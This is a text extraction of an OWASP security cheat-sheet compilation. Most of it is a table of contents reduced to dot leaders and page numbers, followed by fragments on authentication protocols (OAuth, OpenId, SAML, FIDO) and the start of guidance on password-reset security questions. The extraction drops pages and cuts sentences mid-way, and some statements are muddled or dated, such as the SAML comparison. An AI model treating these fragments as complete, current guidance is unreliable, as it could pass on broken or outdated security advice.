OWASP Cheatsheets Book
OWASP Cheatsheets Book
Contents
I
11
. . . . . . . .
. . . . . . . .
no password
. . . . . . . .
. . . . . . . .
. . . . . . . .
. . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
12
12
12
17
19
19
19
19
.
.
.
.
.
.
.
20
20
20
20
23
25
25
25
.
.
.
.
.
.
.
.
26
26
26
26
28
29
29
32
32
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
34
34
34
34
36
37
38
38
38
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
40
40
40
41
44
45
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Contents
5.6
5.7
5.8
.
.
.
.
.
47
47
47
52
52
52
.
.
.
.
.
54
54
59
62
63
64
.
.
.
.
.
65
65
65
65
66
66
.
.
.
.
.
.
.
.
.
.
.
67
67
67
69
70
70
70
71
71
71
72
72
73
73
74
74
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
Degradation Risks
. . . . . . . . . . . .
. . . . . . . . . . . .
. . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
75
75
78
78
79
79
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
80
80
80
81
87
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Contents
12.5 Related articles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
12.6 Authors and Primary Contributors . . . . . . . . . . . . . . . . . . . . . . . 89
12.7 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 89
13 .NET Security Cheat Sheet
13.1 Introduction . . . . . . . . . . .
13.2 .NET Framework Guidance . . .
13.3 ASP.NET Web Forms Guidance
13.4 ASP.NET MVC Guidance . . . .
13.5 XAML Guidance . . . . . . . . .
13.6 Windows Forms Guidance . . .
13.7 WCF Guidance . . . . . . . . . .
13.8 Authors and Primary Editors . .
13.9 References . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
91
91
91
92
95
96
96
96
96
96
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
98
98
98
101
101
101
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
102
102
102
102
103
104
105
105
105
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
107
107
107
110
110
110
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
111
111
111
117
118
118
118
119
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
120
120
120
121
122
123
124
. . . . . . . . .
management
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Contents
18.7 Authors and primary editors . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
18.8 References . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124
19 Session Management Cheat Sheet
19.1 Introduction . . . . . . . . . . . . . . . . . . . . . . . . . .
19.2 Session ID Properties . . . . . . . . . . . . . . . . . . . . .
19.3 Session Management Implementation . . . . . . . . . . .
19.4 Cookies . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
19.5 Session ID Life Cycle . . . . . . . . . . . . . . . . . . . . .
19.6 Session Expiration . . . . . . . . . . . . . . . . . . . . . . .
19.7 Additional Client-Side Defenses for Session Management
19.8 Session Attacks Detection . . . . . . . . . . . . . . . . . .
19.9 Related Articles . . . . . . . . . . . . . . . . . . . . . . . . .
19.10 Authors and Primary Editors . . . . . . . . . . . . . . . . .
19.11 References . . . . . . . . . . . . . . . . . . . . . . . . . . .
20 SQL Injection Prevention Cheat Sheet
20.1 Introduction . . . . . . . . . . . .
20.2 Primary Defenses . . . . . . . . .
20.3 Additional Defenses . . . . . . . .
20.4 Related Articles . . . . . . . . . . .
20.5 Authors and Primary Editors . . .
20.6 References . . . . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
126
126
127
128
130
131
132
134
135
137
138
138
.
.
.
.
.
.
139
139
140
145
146
147
147
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
166
166
166
166
168
168
169
169
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
170
170
170
173
173
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
175
175
175
175
175
176
176
.
.
.
.
.
.
Contents
24.7 Message Confidentiality . . .
24.8 Authorization . . . . . . . . .
24.9 Schema Validation . . . . . .
24.10 Content Validation . . . . . .
24.11 Output Encoding . . . . . . .
24.12 Virus Protection . . . . . . .
24.13 Message Size . . . . . . . . .
24.14 Availability . . . . . . . . . .
24.15 Endpoint Security Profile . .
24.16 Authors and Primary Editors
24.17 References . . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
II
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
176
176
176
177
177
177
177
178
178
178
178
.
.
.
.
.
.
.
179
179
180
186
188
189
190
190
191
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
192
192
192
193
194
195
196
196
196
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
197
197
197
219
219
220
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
221
221
221
221
222
223
223
223
.
.
.
.
.
224
Contents
29.2
29.3
29.4
29.5
29.6
Basics . . . . . . . . . . . . . . .
Remediations to OWASP Mobile
Related Articles . . . . . . . . . .
Authors and Primary Editors . .
References . . . . . . . . . . . .
. . . . . . . .
Top 10 Risks
. . . . . . . .
. . . . . . . .
. . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
225
225
229
229
230
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
231
231
232
233
235
238
238
239
240
241
241
241
241
241
242
242
242
243
243
244
245
247
247
248
248
248
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
249
251
252
252
254
254
255
256
256
257
257
258
259
259
259
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Contents
34 Application Security Architecture Cheat Sheet
34.1 Introduction . . . . . . . . . . . . . . . . . .
34.2 Business Requirements . . . . . . . . . . . .
34.3 Infrastructure Requirements . . . . . . . . .
34.4 Application Requirements . . . . . . . . . .
34.5 Security Program Requirements . . . . . . .
34.6 Authors and Primary Editors . . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
260
260
260
261
262
263
264
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
265
265
265
267
267
.
.
.
.
.
.
.
.
.
.
268
268
271
272
272
274
275
276
277
280
280
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
281
281
281
281
282
283
283
284
285
286
286
287
. . . . . . . . .
. . . . . . . . .
cycle (S-SDLC)
. . . . . . . . .
. . . . . . . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
288
288
288
288
291
292
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
293
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
294
294
294
294
299
299
299
Contents
40.7 Related articles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 300
41 Grails Secure Code Review Cheat Sheet
42 IOS Application Security Testing Cheat Sheet
42.1 Introduction . . . . . . . . . . . . . . . . .
42.2 Information gathering . . . . . . . . . . . .
42.3 Application traffic analysis . . . . . . . . .
42.4 Runtime analysis . . . . . . . . . . . . . .
42.5 Insecure data storage . . . . . . . . . . . .
42.6 Tools . . . . . . . . . . . . . . . . . . . . . .
42.7 Related Articles . . . . . . . . . . . . . . . .
42.8 Authors and Primary Editors . . . . . . . .
301
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
302
302
302
303
304
304
305
306
306
307
308
308
308
308
309
309
309
310
311
314
314
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
Contents
These Cheat Sheets have been taken from the owasp project on https://www.owasp.
org. While this document is static, the online source is continuously improved and
expanded. So please visit https://www.owasp.org if you have any doubt in the
accuracy or actuality of this pdf or simply if this document is too old.
All the articles are licenced under the Creative Commons Attribution-ShareAlike 3.0
Unported1 . I have slightly reformatted and/or resectioned them in this work (which
of course also is CC BY-SA 3.0).
http://creativecommons.org/licenses/by-sa/3.0/
10
Part I.
11
1.1. Introduction
Authentication is the process of verification that an individual or an entity is who it
claims to be. Authentication is commonly performed by submitting a user name or
ID and one or more items of private information that only a given user should know.
Session Management is a process by which a server maintains the state of an entity
interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server
by a session identifier which can be passed back and forward between the client
and server when transmitting and receiving requests. Sessions should be unique per
user and computationally very difficult to predict.
12
13
14
15
16
1.3.1. OAuth
Open Authorization (OAuth) is a protocol that allows an application to authenticate
against a server as a user, without requiring passwords or any third party server that
acts as an identity provider. It uses a token generated by the server, and provides
how the authorization flows most occur, so that a client, such as a mobile application,
can tell the server what user is using the service.
The recommendation is to use and implement OAuth 1.0a or OAuth 2.0, since the
very first version (OAuth1.0) has been found to be vulnerable to session fixation.
17
1.3.2. OpenId
OpenId is an HTTP-based protocol that uses identity providers to validate that a user
is who he says he is. It is a very simple protocol which allows a service provider
initiated way for single sign-on (SSO). This allows the user to re-use a single identity
given to a trusted OpenId identity provider and be the same user in multiple websites,
without the need to provide any website the password, except for the OpenId identity
provider.
Due to its simplicity and that it provides protection of passwords, OpenId has been
well adopted. Some of the well known identity providers for OpenId are Stack Exchange, Google, Facebook and Yahoo!
For non-enterprise environment, OpenId is considered a secure and often better
choice, as long as the identity provider is of trust.
1.3.3. SAML
Security Assertion Markup Language (SAML) is often considered to compete with
OpenId. The most recommended version is 2.0, since it is very feature complete
and provides a strong security. Like with OpenId, SAML uses identity providers, but
unlike it, it is XML-based and provides more flexibility. SAML is based on browser
redirects which send XML data. Unlike SAML, it isnt only initiated by a service
provider, but it can also be initiated from the identity provider. This allows the user
to navigate through different portals while still being authenticated without having
to do anything, making the process transparent.
While OpenId has taken most of the consumer market, SAML is often the choice
for enterprise applications. The reason for this is often that there are few OpenId
identity providers which are considered of enterprise class (meaning that the way
they validate the user identity doesnt have high standards required for enterprise
identity). It is more common to see SAML being used inside of intranet websites,
sometimes even using a server from the intranet as the identity provider.
In the past few years, applications like SAP ERP and SharePoint (SharePoint by using Active Directory Federation Services 2.0) have decided to use SAML 2.0 authentication as an often preferred method for single sign-on implementations whenever
enterprise federation is required for web services and web applications.
1.3.4. FIDO
The Fast Identity Online (FIDO) Alliance has created two protocols to facilitate online authentication : the Universal Authentication Framework (UAF) protocol and
the Universal Second Factor (U2F) protocol. While UAF focuses on passwordless authentication, U2F allows the addition of a second factor to existing password-based
authentication. Both protocols are based on a public key cryptography challengeresponse model.
UAF takes advantage of existing security technologies present on devices for authentication including fingerprint sensors, cameras(face biometrics), microphones(voice
biometrics), Trusted Execution Environments(TEEs), Secure Elements(SEs) and others. The protocol is designed to plug-in these device capabilities into a common
18
1.7. References
1. https://www.owasp.org/index.php/Authentication_Cheat_Sheet
2. https://tools.ietf.org/html/rfc5321
3. http://csrc.nist.gov/publications/nistpubs/800-132/
nist-sp800-132.pdf
4. http://publib.boulder.ibm.com/infocenter/tivihelp/v5r1/index.
jsp?topic=%2Fcom.ibm.itim.infocenter.doc%2Fcpt%2Fcpt_ic_
security_ssl_authent2way.html
5. http://www.codeproject.com/Articles/326574/
An-Introduction-to-Mutual-SSL-Authentication
6. http://en.wikipedia.org/wiki/Security_token
19
2.1. Introduction
This cheat sheet provides some best practice for developers to follow when choosing and using security questions to implement a "forgot password" web application
feature.
20
2.3.2. Steps
2.3.2.1. Step 1) Decide on Identity Data vs Canned Questions vs. User-Created
Questions
Generally, a single HTML form should be used to collect all of the inputs to be used
for later password resets.
If your organization has a business relationship with users, you probably have collected some sort of additional information from your users when they registered with
your web site. Such information includes, but is not limited to:
email address
last name
date of birth
account number
customer number
last 4 of social security number
zip code for address on file
street number for address on file
For enhanced security, you may wish to consider asking the user for their email
address first and then send an email that takes them to a private page that requests
the other 2 (or more) identity factors. That way the email itself isnt that useful
because they still have to answer a bunch of secret questions after they get to the
landing page.
On the other hand, if you host a web site that targets the general public, such as
social networking sites, free email sites, news sites, photo sharing sites, etc., then
you likely to not have this identity information and will need to use some sort of the
ubiquitous "security questions". However, also be sure that you collect some means
to send the password reset information to some out-of-band side-channel, such as a
(different) email address, an SMS texting number, etc.
Believe it or not, there is a certain merit to allow your users to select from a set of
several "canned" questions. We generally ask users to fill out the security questions
as part of completing their initial user profile and often that is the very time that
